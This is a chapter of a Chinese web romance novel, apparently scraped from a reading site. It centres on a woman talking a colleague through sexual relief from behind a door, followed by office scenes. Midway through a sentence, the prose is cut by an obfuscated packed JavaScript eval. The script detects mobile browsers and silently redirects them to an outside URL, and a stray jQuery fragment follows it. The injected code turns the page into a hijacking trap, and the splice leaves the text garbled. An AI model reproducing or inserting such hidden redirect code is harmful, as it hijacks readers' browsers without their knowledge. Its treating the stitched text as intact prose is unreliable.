23. 帮我
作品:《万人嫌女配确诊绝症后》 诩的房门紧闭,苏纪没有胆量把它推开,踌躇地站在门外。
“不、不太……”
声音在离门很近的地方响起。
近到就像是门在说话。
苏纪没料到诩竟然没有躺在床上休息,她也趴在门边,透过门缝问:“我能怎么帮你?”
“如果你愿意……用手帮我……”
他的声音隔着门缝也传来滚烫的灼热,苏纪在门上虚掩的手僵硬了一瞬。
都是成年人,该知道的事彼此心照不宣。诩从昨天就在暗示可能的后遗症,她没办法不往那个方向想。
可是不论怎么想,都不可能,也没必要。
“……唔……呃……”
艰难的喘息声从门后传来。蕴藏着涌动的隐忍,难耐和热切的渴望。
啪嗒。
有手在地上艰难支撑的声音。
诩也许在撑着自己的身体,但是因为力气和欲望的阻挠而失败了。
苏纪还没有见过控制欲-3960的使用者,但想到它堪称立竿见影的强大切开效果,以及被严格管控的禁药资格,其中的副作用威力可想而知。
她的手蜷紧了些,不忍道:“诩,如果你真的很难受,那就自己……”
“不能……商量……吗?”他的声音几乎带着痛苦的哀求。
诩做到了他给出的回答,苏纪没想真的要伤害他。可是。
“你也知道这不是能商量的事吧。”苏纪左右为难。
“如果是别人,你也会让他们帮忙吗……?”
“……”
房间里炙热的喘息中断,然后又响起。
“……我、我在纪心里的形象……”
诩的声音带着颤抖,似乎花费巨大的力气按捺身体里窜动的火。声音的频率与某种运动相仿,一断一续。
“真是……不堪啊……”
混乱的台词,配合难耐的呻吟。
明明隔着门,诩的滚烫和炙热却仿佛穿过阻隔燃烧到了她身上。
“你、你别喘了,我有点……”苏纪只靠手背已经降不下脸颊两边的温度,她痛苦地扯着卷发,“你到底能不能自己做出来?”
“我没和任何人做过……”
现在根本不是澄清这个的时候吧?
“好好好,我相信你,那现在怎么办?”
“但是和纪的话,我可以……”
“为什么我就可以?”
“原因……明显……我是纪的鬼……只会缠着……你……”
“……”苏纪觉得自己应该说些什么。
可诩连绵不断的起伏声实在让她无暇分心。
仿佛她的沉默透露出动摇,诩的声音更急促了起来。
“纪……不愿意,那……指挥我,可以吗……?”
苏纪大脑宕机,直接往走廊上退了一步。
这个疯子又在说什么呢?!
“唔……”
她犹豫的间隙,喘息的痛苦和忍耐越来越深切,空气鼓动着炙热的血脉搏动和心跳鼓点。
他的意识似乎越来越离散,盲目地叫着她的名字。
声音一遍又一遍地摩挲她的耳朵。让她知道,他的迫切和隐忍。
苏纪不敢赌,如果一直不能发泄出来,诩的身体会受到怎么样的损害。
“……那,你听我说。”
苏纪觉得自己一定是疯了才会答应。
她应该真的疯了。
“脱、脱了外面的。”
“好……”
窸窣的衣带抽拉声缓慢地响起。
苏纪简直不敢抬眼看向门。尽管什么也看不见,但一厘米厚的门背后,有一个她熟悉的、每天相见的成年男性,正在听她的指挥宽衣解带。
甚至,还要做出更为亵渎之事。
苏纪在门口蹲下,背靠着门,把脸埋进手臂里。
衣带抽拉的声音停止了。
该她继续了。
“……拿、拿着……?活动……”
苏纪实在不知道怎么才能礼貌地形容接下来的动作。
“其实最里面还有一层,纪……”
“那你自己优化一下!!”
诩低低的笑声顺着门板的轻微震动传来。
颤动打在苏纪的背上,连他手臂移动的感觉都清晰如触。
苏纪不敢想象现在诩脸上的表情。
他们明明应该是毫无交集的同事,怎么会变成今天的样子。
“我要……开始动了……”
“……”
苏纪抿着唇,完全不敢抬头,也不敢回答。
她并不想窥探,但是门实在太薄了,根本无处遁藏诩的动作。
他的规律,他的活动,每一处发力的力道和时间,她都能从门上感知得一清二楚。
很均匀地、很隐忍地……
她能听见他极力压抑的声音和喘息。
速度渐渐地增加。
苏纪的双手捂在脸上,双颊传来的温度像捧住了火球。
很长时间,才停止。
到达节点的瞬间,连隐忍的声音也控制不住,传来迸发的晦暗。
安静了半分钟,门里才传来诩的声音,和他起身的脚步声。
“我去洗漱一下。”
声音有些哑,刚刚那些炙热的潮意尚未完全褪去,带着令人遐思的回音。
苏纪还埋在双臂里,漏在外的耳尖血红如滴,闷闷地应:“好。”
门内传来一声浅笑:“纪,在害羞吗?”
“……没有,你快去洗。”
诩以极快的速度冲了个凉,然后打开门迎接苏纪。
苏纪一骨碌从走廊上站起来,伸手撩开他额前碎发,贴了贴他的脑门。
“不热了。看来没有发烧。你觉得身体怎么样,还好吗?”
他的脸色还有些苍白,不过脸上泛着洋溢的笑,眯起的眼睛里流露出明媚的喜悦,连说话的声音都止不住地一扬再扬。
“没事哦~因为有你的帮忙。我永远不会忘记今天……”
苏纪刚要褪去的脸热又卷土重来,连忙抽回手,后退了一步。
还是忘记吧!
咕噜咕噜。
奇异的声音打断了异样的氛围。
“……”苏纪的视线下移,停在诩的腹部。
呃,刚刚是这里在响吗?
“……”
诩微笑着推着苏纪的手臂,“纪,该上班了,走吧走吧~”
“你不要吃东西吗?”苏纪还是有些担忧由离光提到的后遗症。
“我、不、饿。”
“可是我刚刚明明听到——”
诩含笑打断她:“没有哦。是幻听。”
苏纪和诩上了飞船。
和青年面对面坐下后,她的眼神不由得有些躲闪,避开他柔美的脸和含笑的眼睛。
她真的不知道,和同事发生这样的意外之后还能不能保持原来的正常关系。
虽然诩这个人一直不太正常。
诩恍若未觉她的逃避,照旧把软软的坐垫递给她:“纪,刚刚在房间里没办法解释清楚。我不知道你以前对我是什么印象,骗子、演员、怪人,什么都可以。”
“我也许对你说过很多谎,唯独身心唯一这点,我不会开玩笑。”
苏纪知道他这次说的是真的。
在买到自己的小家之前,苏纪一直是长居在别墅的。Frequency也是同样。
这栋别墅两年来从未出现过除了她和卫生管理组以外的女性。
两年的时间不算短,足够很多生活习惯暴露在阳光下。
就像她知道有时浅曜会失眠跑到二楼阳台发呆,斐切尔有时会半夜在地下室弹琴。
诩在其他方面不像个人,但这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906160|191580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点的确令人信任。
更何况——这可是本言情小说,男主角当然不可能和女主角以外的人发生关系。
苏纪没说话,诩的声音急切起来。
“长眠观有给每个门生定做的守宫烛。我可以带你去看,属于我的那盏还是亮着的。”
苏纪连忙双手举起:“……不,这就不必了。”
“不想再去长眠观的话,我光脑里也有实时监控哦。喏,就是这个~担心有一天你会想看,所以早早地准备好了。”
“……”
有点变态了。但发生在诩的身上,倒也不意外。
毕竟这男人在囚禁时也很懂得善加利用监控科技,只能说不愧是长眠仪器的设计师。
诩把光脑屏幕对向苏纪,调取出守宫烛的监控,推到她的面前。
他托着下巴含笑看她,血色瞳眸从笑中睁开。
很难说他瞳中倒映出的他的念想,究竟是执着还是疯狂。
“呵呵……对鬼来说,如果不是遇到了真的想缠住的人,世间的情欲都没有分毫吸引力可言啊~”
苏纪把监控推回去,无意识地摩挲着手指,别开他的视线。
“……其实你没必要对我说这些。我们也不是情侣。”
“万一呢?”
苏纪不知道怎么回答他。
“……”
不可能有万一的。
因为,不会再有机会了。
*
终于回到办公室内,苏纪急忙打开光脑。
耽误了一些时间,为了给周四留出一整天的空闲,日程又忙起来了。
苏纪快速过了一遍消息件。
团综的预热问答采访要在下周收录,确认邮件需要回复;助理艾莉和张助理的问题还没有回答。除此之外,还有一封标题看起来就很不妙的信。
“舞台布设变更通知……?”
打开详情,是之前给斐切尔的单人专辑MV预约的舞台变更报备。
【原申请使用的部分灯光设施经核查已被借出,对方剧组正在使用中,无法收回。
请尽快确认变更内容。】
苏纪查看了一下,几处重要的MV镜头和宣传照的灯光使用都会受到影响。
变化不算太大,但和之前规划书里想要的氛围感还是有了区别。
如果这是其他三人的MV,苏纪会直接自己对接变更事宜。
但,是斐切尔的话……
队长先生在这方面可不好糊弄。
苏纪在消息件上勾了星标,打开Frequency日程排班表。
这个点,斐切尔在琴房。
银盐虚幻给Frequency大开了很多绿灯,例如专为浅曜设立的急诊室,还有仅供斐切尔一人使用的特殊琴房。
据说这个琴房里的钢琴的原材料是从其他星系冒着被星盗追猎的巨大风险引进的,前后花了数年时间,而全手工制造又花费了三年之久,整个育星一共就做出了两台,被誉为演奏界的明珠。
一台在育星最大的综合剧院「环宙流星」,一台在这里。
考虑到环宙流星实际上也是银盐虚幻的资产,说这两台钢琴都属于斐切尔也没什么问题。
苏纪沿着走廊来到专属层的尽头,温和如暖春的乐声从琴键里流出房间。
即使隔着墙,依然能体会到旋律的曼妙。
像春季初融,带着残雪的溪流,温和又仔细地抚过干涸的鹅卵石滩地。湿润的水流浸润破裂的裂痕,填满春生的萌动。
虽然没有风,但春风拂过心头,掀起连绵的春漪。
苏纪的脚步在墙外站定。
或许她不该在这时候来打扰斐切尔。
她踮起脚步,一步一步地往走廊外退。
乐声戛然而止的瞬间,不近人情的声音响起,仿佛抓住她的后颈。
“你是想逃走吗?”

